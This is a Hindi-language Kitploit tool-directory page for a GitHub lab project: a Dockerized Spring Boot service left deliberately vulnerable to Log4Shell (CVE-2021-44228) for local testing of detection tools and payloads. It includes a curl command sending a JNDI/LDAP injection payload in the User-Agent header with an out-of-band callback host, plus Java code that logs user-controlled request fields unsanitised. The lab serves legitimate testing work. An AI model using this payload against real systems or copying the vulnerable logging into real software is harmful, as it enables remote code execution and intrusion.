Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Log4J-Log4Shell-CVE-2021-44228-Spring-Boot-Test-Service — Dockerized Spring Boot सेवा जानबूझकर Log4Shell (CVE-2021-44228) के लिए कमजोर है, जो स्थानीय वातावरण में डिटेक्शन टूल्स, पेलोड्स और एक्सप्लॉइट क्षमताओं के परीक्षण के लिए है। | Kitploit
उपकरण/GitHubGitHub/zsolt-halo/log4j-log4shell-cve-2021-44228-spring-boot-test-service
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubzsolt-halo/log4j-log4shell-cve-2021-44228-spring-boot-test-service

Log4J-Log4Shell-CVE-2021-44228-Spring-Boot-Test-Service

Dockerized Spring Boot सेवा जानबूझकर Log4Shell (CVE-2021-44228) के लिए कमजोर है, जो स्थानीय वातावरण में डिटेक्शन टूल्स, पेलोड्स और एक्सप्लॉइट क्षमताओं के परीक्षण के लिए है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
1324 साल पहलेअभी तक समीक्षित नहीं

CVE-2021-44228 स्प्रिंग बूट टेस्ट सेवा

यह एक गंदा हैक स्प्रिंग बूट हैलो वर्ल्ड प्रोजेक्ट है जो आपके टूलिंग/पेलोड/डिटेक्शन क्षमताओं का स्थानीय रूप से परीक्षण करने के लिए है, इससे पहले कि आप उनके साथ उत्पादन लक्ष्यों पर हमला करें।

कॉन्फ़िगर किया गया Log4j संस्करण 2.13.0 है।

डॉकर इमेज बनाना

root@kitploit:~
bash build.sh

डॉकर इमेज चलाना

root@kitploit:~
docker run -p 8080:8080 dwdi/log4shell

CVE-2021-44228 का परीक्षण / ट्रिगर करना

अगर आपके पास गैरेज में burp collaborator नहीं चल रहा है, तो आप इस साइट पर जा सकते हैं और समान अनुभव प्राप्त कर सकते हैं: https://interactsh.com

root@kitploit:~
curl -s --max-time 20 localhost:8080 -H 'User-Agent: ${jndi:ldap://<some_custom_identifier>.<your_generated_subdomain>.interactsh.com/a}' > /dev/null

स्कैनर टूल

वैकल्पिक रूप से आप स्थानीय/बड़े पैमाने पर स्कैनिंग करने के लिए इस शानदार रेपो का उपयोग कर सकते हैं: https://github.com/adilsoybali/Log4j-RCE-Scanner

ट्रिगर स्थान

यह कमजोरी एक उपयोगकर्ता-नियंत्रित मूल्य को कमजोर लॉगिंग फ्रेमवर्क द्वारा लॉग करने के लिए मजबूर करने के बारे में है। इसे ध्यान में रखते हुए यह सरल डमी एप्लिकेशन दो HTTP (GET/PUT) वर्ब्स और कई इंजेक्शन स्थानों का समर्थन करता है:

root@kitploit:~
@GetMapping("/")
	public String index(HttpServletRequest request) {
		logger.info("Request URL: " + request.getRequestURL());
		logger.info("Request URI: " + request.getRequestURI());
		logger.info("Request Method: " + request.getMethod());
		logger.info("Request Query String: " + request.getQueryString());
		logger.info("Request Protocol: " + request.getProtocol());
		logger.info("Request Remote Address: " + request.getRemoteAddr());
		logger.info("Request Remote Host: " + request.getRemoteHost());
		logger.info("Request Remote Port: " + request.getRemotePort());
		logger.info("Request User Agent: " + request.getHeader("User-Agent"));
		return "Log4J2 is working!";
	}
root@kitploit:~
@PostMapping("/")
	public String post(HttpServletRequest request, @RequestBody String body) {
		logger.info("Request URL: " + request.getRequestURL());
		logger.info("Request URI: " + request.getRequestURI());
		logger.info("Request Method: " + request.getMethod());
		logger.info("Request Query String: " + request.getQueryString());
		logger.info("Request Protocol: " + request.getProtocol());
		logger.info("Request Remote Address: " + request.getRemoteAddr());
		logger.info("Request Remote Host: " + request.getRemoteHost());
		logger.info("Request Remote Port: " + request.getRemotePort());
		logger.info("Request User Agent: " + request.getHeader("User-Agent"));
		logger.info("Request Body: " + body); // mind the extra request body
		return "Log4J2 is working!";
	}

योगदान / सुधार का स्वागत है।

कोड गुणवत्ता के लिए क्षमा करें :) यह प्रोजेक्ट दिखावा के लिए नहीं है बल्कि साझा करने/मदद करने के लिए है।

टूल डाउनलोड करें